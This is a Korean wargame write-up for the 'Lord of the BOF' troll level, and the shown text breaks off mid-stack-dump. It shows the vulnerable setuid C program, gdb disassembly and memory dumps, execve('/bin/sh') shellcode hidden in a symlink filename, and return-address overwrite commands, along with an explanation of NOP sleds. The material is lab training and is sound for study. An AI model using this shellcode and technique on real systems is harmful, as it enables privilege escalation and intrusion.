[orge@localhost orge]$ ls -al total 52 drwx------ 2 orge orge 4096 Jul 3 07:00 . drwxr-xr-x 25 root root 4096 Mar 30 2010 .. -rw------- 1 orge orge 23 Jul 3 07:00 .bash_history -rw-r--r-- 1 orge orge 24 Feb 27 2010 .bash_logout -rw-r--r-- 1 orge orge 230 Feb 27 2010 .bash_profile -rw-r--r-- 1 orge orge 124 Feb 27 2010 .bashrc -rwxr-xr-x 1 orge orge 333 Feb 27 2010 .emacs -rw-r--r-- 1 orge orge 3394 Feb 27 2010 .screenrc -rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll -rw-r--r-- 1 root root 772 Mar 29 2010 troll.c [orge@localhost orge]$ clear [orge@localhost orge]$ bash2 [orge@localhost orge]$ ls -al total 52 drwx------ 2 orge orge 4096 Jul 3 07:00 . drwxr-xr-x 25 root root 4096 Mar 30 2010 .. -rw------- 1 orge orge 23 Jul 3 07:00 .bash_history -rw-r--r-- 1 orge orge 24 Feb 27 2010 .bash_logout -rw-r--r-- 1 orge orge 230 Feb 27 2010 .bash_profile -rw-r--r-- 1 orge orge 124 Feb 27 2010 .bashrc -rwxr-xr-x 1 orge orge 333 Feb 27 2010 .emacs -rw-r--r-- 1 orge orge 3394 Feb 27 2010 .screenrc -rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll -rw-r--r-- 1 root root 772 Mar 29 2010 troll.c [orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); } 코드를 보아하니 argc 인자값은 2개가 되어야하고 argv[1]은 마지막에 0으로 초기화된다. ...파일 이름 자체를 페이로드로 만들면? ㅇㅋ 된다... [orge@localhost orge]$ mkdir tmp [orge@localhost orge]$ cp troll tmp [orge@localhost orge]$ cd tmp [orge@localhost tmp]$ ls troll [orge@localhost tmp]$ ln -s troll `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` ln: cannot create symbolic link `1??h//shh/bin???° ?' to `troll': No such file or directory [orge@localhost tmp]$ ls -al total 24 drwxrwxr-x 2 orge orge 4096 Jul 7 04:09 . drwx------ 3 orge orge 4096 Jul 7 04:09 .. -rwsr-sr-x 1 orge orge 12693 Jul 7 04:09 troll [orge@localhost tmp]$ ln -s ./troll `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` ln: cannot create symbolic link `1??h//shh/bin???° ?' to `./troll': No such file or directory [orge@localhost tmp]$ ls troll [orge@localhost tmp]$ ln -s troll `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` ln: cannot create symbolic link `1??h//shh/bin???° ?' to `troll': No such file or directory [orge@localhost tmp]$ ln -s troll `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` 처음엔 25바이트 쉘코드가 왜 파일 이름에 넣으면 인식이 안 되는지 헤매다가 원인을 찾았냈다. 그것은 '\x2f'값은 슬래쉬(/)를 의미하는데 이것은 리눅스 파일 위치의 경로를 의미하기 때문에 \x2f값을 넣지 말아야 되는 것이다. 아래는 \x2f가 없는 쉘코드다. \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 [orge@localhost tmp]$ ls troll ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?2?l?y?????쀿y2i00tii0cjo?????? [orge@localhost tmp]$ gdb -q `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` (gdb) set disassembly intel (gdb) disas main Dump of assembler code for function main: 0x8048500
: push %ebp 0x8048501 : mov %ebp,%esp 0x8048503 : sub %esp,44 0x8048506 : cmp DWORD PTR [%ebp+8],2 0x804850a : je 0x8048523 0x804850c : push 0x8048690 0x8048511 : call 0x8048410 0x8048516 : add %esp,4 0x8048519 : push 0 0x804851b : call 0x8048420 0x8048520 : add %esp,4 0x8048523 : nop 0x8048524 : mov DWORD PTR [%ebp-44],0x0 0x804852b : nop 0x804852c : lea %esi,[%esi*1] 0x8048530 : mov %eax,DWORD PTR [%ebp-44] 0x8048533 : lea %edx,[%eax*4] 0x804853a : mov %eax,%ds:0x80497cc 0x804853f : cmp DWORD PTR [%eax+%edx],0 0x8048543 : jne 0x8048547 0x8048545 : jmp 0x8048587 0x8048547 : mov %eax,DWORD PTR [%ebp-44] 0x804854a : lea %edx,[%eax*4] 0x8048551 : mov %eax,%ds:0x80497cc 0x8048556 : mov %edx,DWORD PTR [%eax+%edx] 0x8048559 : push %edx 0x804855a : call 0x80483f0 0x804855f : add %esp,4 0x8048562 : mov %eax,%eax 0x8048564 : push %eax 0x8048565 : push 0 0x8048567 : mov %eax,DWORD PTR [%ebp-44] 0x804856a : lea %edx,[%eax*4] 0x8048571 : mov %eax,%ds:0x80497cc 0x8048576 : mov %edx,DWORD PTR [%eax+%edx] 0x8048579 : push %edx 0x804857a : call 0x8048430 0x804857f : add %esp,12 0x8048582 : inc DWORD PTR [%ebp-44] 0x8048585 : jmp 0x8048530 0x8048587 : mov %eax,DWORD PTR [%ebp+12] 0x804858a : add %eax,4 0x804858d : mov %edx,DWORD PTR [%eax] 0x804858f : add %edx,47 0x8048592 : cmp BYTE PTR [%edx],0xbf 0x8048595 : je 0x80485b0 0x8048597 : push 0x80486a3 0x804859c : call 0x8048410 0x80485a1 : add %esp,4 0x80485a4 : push 0 ---Type to continue, or q to quit--- 0x80485a6 : call 0x8048420 0x80485ab : add %esp,4 0x80485ae : mov %esi,%esi 0x80485b0 : mov %eax,DWORD PTR [%ebp+12] 0x80485b3 : add %eax,4 0x80485b6 : mov %edx,DWORD PTR [%eax] 0x80485b8 : push %edx 0x80485b9 : call 0x80483f0 0x80485be : add %esp,4 0x80485c1 : mov %eax,%eax 0x80485c3 : cmp %eax,48 0x80485c6 : jbe 0x80485e0 0x80485c8 : push 0x80486c0 0x80485cd : call 0x8048410 0x80485d2 : add %esp,4 0x80485d5 : push 0 0x80485d7 : call 0x8048420 0x80485dc : add %esp,4 0x80485df : nop 0x80485e0 : mov %eax,DWORD PTR [%ebp+12] 0x80485e3 : add %eax,4 0x80485e6 : mov %edx,DWORD PTR [%eax] 0x80485e8 : push %edx 0x80485e9 : lea %eax,[%ebp-40] 0x80485ec : push %eax 0x80485ed : call 0x8048440 0x80485f2 : add %esp,8 0x80485f5 : lea %eax,[%ebp-40] 0x80485f8 : push %eax 0x80485f9 : push 0x80486d7 0x80485fe : call 0x8048410 0x8048603 : add %esp,8 0x8048606 : push 40 0x8048608 : push 0 0x804860a : lea %eax,[%ebp-40] 0x804860d : push %eax 0x804860e : call 0x8048430 0x8048613 : add %esp,12 0x8048616 : mov %eax,DWORD PTR [%ebp+12] 0x8048619 : add %eax,4 0x804861c : mov %edx,DWORD PTR [%eax] 0x804861e : push %edx 0x804861f : call 0x80483f0 0x8048624 : add %esp,4 0x8048627 : mov %eax,%eax 0x8048629 : push %eax 0x804862a : push 0 0x804862c : mov %eax,DWORD PTR [%ebp+12] 0x804862f : add %eax,4 0x8048632 : mov %edx,DWORD PTR [%eax] 0x8048634 : push %edx ---Type to continue, or q to quit--- 0x8048635 : call 0x8048430 0x804863a : add %esp,12 0x804863d : leave 0x804863e : ret 0x804863f : nop End of assembler dump. (gdb) r `python -c 'print "\x90"*44+"\xbf"*4'` Starting program: /home/orge/tmp/?1?2ly???yyy2i00tii0cjo?? ? `python -c 'print "\x90"*44+"\xbf"*4'` Xshell¿¿¿¿ Program received signal SIGSEGV, Segmentation fault. 0xbfbfbfbf in ?? () (gdb) b *main+237 Breakpoint 1 at 0x80485ed (gdb) r `python -c 'print "\x90"*44+"\xbf"*4'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/orge/tmp/?1?2ly???yyy2i00tii0cjo?? ? `python -c 'print "\x90"*44+"\xbf"*4'` Xshell Breakpoint 1, 0x80485ed in main () (gdb) x/512x $esp 0xbffff8b4: 0xbffff8c0 0xbffffb35 0x00000017 0xbffff8e8 0xbffff8c4: 0x4000a970 0x400f855b 0x080496fc 0x4000ae60 0xbffff8d4: 0xbffff934 0xbffff8e8 0x080484eb 0x080496e8 0xbffff8e4: 0x080496fc 0xbffff908 0x400309cb 0x00000002 0xbffff8f4: 0xbffff934 0xbffff940 0x40013868 0x00000002 0xbffff904: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffff914: 0x00000002 0xbffff934 0x08048390 0x0804866c 0xbffff924: 0x4000ae60 0xbffff92c 0x40013e90 0x00000002 0xbffff934: 0xbffffa2d 0xbffffb35 0x00000000 0xbffffb66 0xbffff944: 0xbffffb88 0xbffffb92 0xbffffba0 0xbffffbbf 0xbffff954: 0xbffffbcc 0xbffffbe3 0xbffffbfd 0xbffffc1c 0xbffff964: 0xbffffc27 0xbffffc35 0xbffffc75 0xbffffc87 0xbffff974: 0xbffffc97 0xbffffcac 0xbffffcbc 0xbffffcc6 0xbffff984: 0xbffffce2 0xbffffcfa 0xbffffd05 0xbffffd16 0xbffff994: 0xbffffd29 0xbffffd31 0x00000000 0x00000003 0xbffff9a4: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffff9b4: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffff9c4: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffff9d4: 0x08048450 0x0000000b 0x000001fb 0x0000000c 0xbffff9e4: 0x000001fb 0x0000000d 0x000001fb 0x0000000e 0xbffff9f4: 0x000001fb 0x00000010 0x0febfbff 0x0000000f 0xbffffa04: 0xbffffa28 0x00000000 0x00000000 0x00000000 0xbffffa14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa24: 0x00000000 0x36383669 0x6f682f00 0x6f2f656d 0xbffffa34: 0x2f656772 0x2f706d74 0x90909090 0x90909090 0xbffffa44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa84: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa94: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffaa4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffab4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffac4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffad4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffae4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffaf4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb04: 0x315e11eb 0x8032b1c9 0x01ff0e6c 0x7501e980 0xbffffb14: 0xe805ebf6 0xffffffea 0x6951c132 0x69743030 0xbffffb24: 0x6a633069 0x51e48a6f 0x9ae28a54 0x81ce0cb1 0xbffffb34: 0x90909000 0x90909090 0x90909090 0x90909090 0xbffffb44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb54: 0x90909090 0x90909090 0x90909090 0xbfbfbf90 0xbffffb64: 0x000000bf 0x00000000 0x00000000 0x00000000 0xbffffb74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffba4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbd4: 0x00000000 0x00000000 0x00000000 0x00000000 ---Type to continue, or q to quit--- 0xbffffbe4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbf4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc24: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc34: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc44: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcf4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd24: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd34: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd44: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffda4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffde4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdf4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe24: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe34: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe44: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffea4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffec4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffed4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffee4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffef4: 0x6d6f682f 0x726f2f65 0x742f6567 0x902f706d 0xbfffff04: 0x90909090 0x90909090 0x90909090 0x90909090 ---Type to continue, or q to quit--- 0xbfffff14: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff24: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff84: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff94: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffa4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffb4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffc4: 0x90909090 0xeb909090 0xc9315e11 0x6c8032b1 0xbfffffd4: 0x8001ff0e 0xf67501e9 0xeae805eb 0x32ffffff 0xbfffffe4: 0x306951c1 0x69697430 0x6f6a6330 0x5451e48a 0xbffffff4: 0xb19ae28a 0x0081ce0c 0x00000000 Cannot access memory at address 0xc0000000 (gdb) q The program is running. Exit anyway? (y or n) y [orge@localhost tmp]$ cd .. [orge@localhost orge]$ ls tmp troll troll.c [orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` [orge@localhost orge]$ ./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"' `python -c 'print "\x90"*44+"\xa4\xff\xff\xbf"'` > [orge@localhost orge]$ ./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"' `python -c 'print "\x90"*44+"\xa4\xff\xff\xbf"'` > [orge@localhost orge]$ ./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"' `python -c 'print "\x90"*44+"\xa4\xff\xff\xbf"'` > my-pass > [orge@localhost orge]$ ./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xa4\xff\xff\xbf"'` my-pass ¤yy¿ Segmentation fault euid = 507 [?????????????] [orge@localhost orge]$ ./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xa4\xff\xff\xbf"'` ¤yy¿ Segmentation fault 두번째 고비가 왔다... 필자는 혹시나 파일 이름(쉘코드) 뒤에 \x90(nop)이 없어서 그런가 유추했고 그 유추가 맞아 떨어졌다. NOP Sled란 무엇일까? "NOP 명령어(아무것도 안 하는 명령어)"를 미끄럼틀처럼 쭉 깔아두고, 그 위에 shellcode를 배치해, return address가 정확히 맞지 않아도 shellcode까지 미끄러지듯 도달하게 만드는 기법" 구조적 개념은... 버퍼 오버플로우 exploit은 대체로 이런 구조를 가지게 된다. [ NOP SLED ][ Shellcode ][ Padding ][ Return Address ] 근데 실제로는 이렇게 메모리에 쌓인다. |--------------------------| | NOP sled (ex. \x90) | |--------------------------| | Shellcode | |--------------------------| | Saved EBP | |--------------------------| | Return Address (EIP) | |--------------------------| nop의 목적은... EIP(Return Address) 를 정확히 shellcode 위치에 맞추는 건 어렵다. 그래서 그 "근처" 어딘가에만 점프해도 성공시키려고, shellcode 앞에 NOP를 잔뜩 깔아두는 것이다. EIP가 NOP 안 어딘가로 떨어지면 NOP가 연달아 실행되면서 결국 shellcode에 도달하게 된다. [orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*30'` ln: ?1?2ly???yyy2i00tii0cjo?? ?: File name too long [orge@localhost orge]$ cd tmp [orge@localhost tmp]$ ls troll ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?2?l?y?????쀿y2i00tii0cjo?????? [orge@localhost tmp]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` [orge@localhost tmp]$ gdb -q ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` (gdb) set disassembly inte (gdb) set disassembly intel (gdb) disas main Dump of assembler code for function main: 0x8048500
: push %ebp 0x8048501 : mov %ebp,%esp 0x8048503 : sub %esp,44 0x8048506 : cmp DWORD PTR [%ebp+8],2 0x804850a : je 0x8048523 0x804850c : push 0x8048690 0x8048511 : call 0x8048410 0x8048516 : add %esp,4 0x8048519 : push 0 0x804851b : call 0x8048420 0x8048520 : add %esp,4 0x8048523 : nop 0x8048524 : mov DWORD PTR [%ebp-44],0x0 0x804852b : nop 0x804852c : lea %esi,[%esi*1] 0x8048530 : mov %eax,DWORD PTR [%ebp-44] 0x8048533 : lea %edx,[%eax*4] 0x804853a : mov %eax,%ds:0x80497cc 0x804853f : cmp DWORD PTR [%eax+%edx],0 0x8048543 : jne 0x8048547 0x8048545 : jmp 0x8048587 0x8048547 : mov %eax,DWORD PTR [%ebp-44] 0x804854a : lea %edx,[%eax*4] 0x8048551 : mov %eax,%ds:0x80497cc 0x8048556 : mov %edx,DWORD PTR [%eax+%edx] 0x8048559 : push %edx 0x804855a : call 0x80483f0 0x804855f : add %esp,4 0x8048562 : mov %eax,%eax 0x8048564 : push %eax 0x8048565 : push 0 0x8048567 : mov %eax,DWORD PTR [%ebp-44] 0x804856a : lea %edx,[%eax*4] 0x8048571 : mov %eax,%ds:0x80497cc 0x8048576 : mov %edx,DWORD PTR [%eax+%edx] 0x8048579 : push %edx 0x804857a : call 0x8048430 0x804857f : add %esp,12 0x8048582 : inc DWORD PTR [%ebp-44] 0x8048585 : jmp 0x8048530 0x8048587 : mov %eax,DWORD PTR [%ebp+12] 0x804858a : add %eax,4 0x804858d : mov %edx,DWORD PTR [%eax] 0x804858f : add %edx,47 0x8048592 : cmp BYTE PTR [%edx],0xbf 0x8048595 : je 0x80485b0 0x8048597 : push 0x80486a3 0x804859c : call 0x8048410 0x80485a1 : add %esp,4 0x80485a4 : push 0 ---Type to continue, or q to quit--- 0x80485a6 : call 0x8048420 0x80485ab : add %esp,4 0x80485ae : mov %esi,%esi 0x80485b0 : mov %eax,DWORD PTR [%ebp+12] 0x80485b3 : add %eax,4 0x80485b6 : mov %edx,DWORD PTR [%eax] 0x80485b8 : push %edx 0x80485b9 : call 0x80483f0 0x80485be : add %esp,4 0x80485c1 : mov %eax,%eax 0x80485c3 : cmp %eax,48 0x80485c6 : jbe 0x80485e0 0x80485c8 : push 0x80486c0 0x80485cd : call 0x8048410 0x80485d2 : add %esp,4 0x80485d5 : push 0 0x80485d7 : call 0x8048420 0x80485dc : add %esp,4 0x80485df : nop 0x80485e0 : mov %eax,DWORD PTR [%ebp+12] 0x80485e3 : add %eax,4 0x80485e6 : mov %edx,DWORD PTR [%eax] 0x80485e8 : push %edx 0x80485e9 : lea %eax,[%ebp-40] 0x80485ec : push %eax 0x80485ed : call 0x8048440 0x80485f2 : add %esp,8 0x80485f5 : lea %eax,[%ebp-40] 0x80485f8 : push %eax 0x80485f9 : push 0x80486d7 0x80485fe : call 0x8048410 0x8048603 : add %esp,8 0x8048606 : push 40 0x8048608 : push 0 0x804860a : lea %eax,[%ebp-40] 0x804860d : push %eax 0x804860e : call 0x8048430 0x8048613 : add %esp,12 0x8048616 : mov %eax,DWORD PTR [%ebp+12] 0x8048619 : add %eax,4 0x804861c : mov %edx,DWORD PTR [%eax] 0x804861e : push %edx 0x804861f : call 0x80483f0 0x8048624 : add %esp,4 0x8048627 : mov %eax,%eax 0x8048629 : push %eax 0x804862a : push 0 0x804862c : mov %eax,DWORD PTR [%ebp+12] 0x804862f : add %eax,4 0x8048632 : mov %edx,DWORD PTR [%eax] 0x8048634 : push %edx ---Type to continue, or q to quit--- 0x8048635 : call 0x8048430 0x804863a : add %esp,12 0x804863d : leave 0x804863e : ret 0x804863f : nop End of assembler dump. (gdb) b *main+237 Breakpoint 1 at 0x80485ed (gdb) r `python -c 'print "\x90"*44+"\xbf"*4'` Starting program: /home/orge/tmp/./?1?2ly???yyy2i00tii0cjo?? ? `python -c 'print "\x90"*44+"\xbf"*4'` Xshell Breakpoint 1, 0x80485ed in main () (gdb) x/512x $esp 0xbffff8b4: 0xbffff8c0 0xbffffb33 0x00000017 0xbffff8e8 0xbffff8c4: 0x4000a970 0x400f855b 0x080496fc 0x4000ae60 0xbffff8d4: 0xbffff934 0xbffff8e8 0x080484eb 0x080496e8 0xbffff8e4: 0x080496fc 0xbffff908 0x400309cb 0x00000002 0xbffff8f4: 0xbffff934 0xbffff940 0x40013868 0x00000002 0xbffff904: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffff914: 0x00000002 0xbffff934 0x08048390 0x0804866c 0xbffff924: 0x4000ae60 0xbffff92c 0x40013e90 0x00000002 0xbffff934: 0xbffffa29 0xbffffb33 0x00000000 0xbffffb64 0xbffff944: 0xbffffb86 0xbffffb90 0xbffffb9e 0xbffffbbd 0xbffff954: 0xbffffbca 0xbffffbe1 0xbffffbfb 0xbffffc1a 0xbffff964: 0xbffffc25 0xbffffc33 0xbffffc73 0xbffffc85 0xbffff974: 0xbffffc95 0xbffffcaa 0xbffffcba 0xbffffcc4 0xbffff984: 0xbffffce0 0xbffffcf8 0xbffffd03 0xbffffd14 0xbffff994: 0xbffffd27 0xbffffd2f 0x00000000 0x00000003 0xbffff9a4: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffff9b4: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffff9c4: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffff9d4: 0x08048450 0x0000000b 0x000001fb 0x0000000c 0xbffff9e4: 0x000001fb 0x0000000d 0x000001fb 0x0000000e 0xbffff9f4: 0x000001fb 0x00000010 0x0febfbff 0x0000000f 0xbffffa04: 0xbffffa24 0x00000000 0x00000000 0x00000000 0xbffffa14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa24: 0x36383669 0x6f682f00 0x6f2f656d 0x2f656772 0xbffffa34: 0x2f706d74 0x90902f2e 0x90909090 0x90909090 0xbffffa44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa84: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa94: 0x90909090 0x90909090 0x11eb9090 0xb1c9315e 0xbffffaa4: 0x0e6c8032 0xe98001ff 0xebf67501 0xffeae805 0xbffffab4: 0xc132ffff 0x30306951 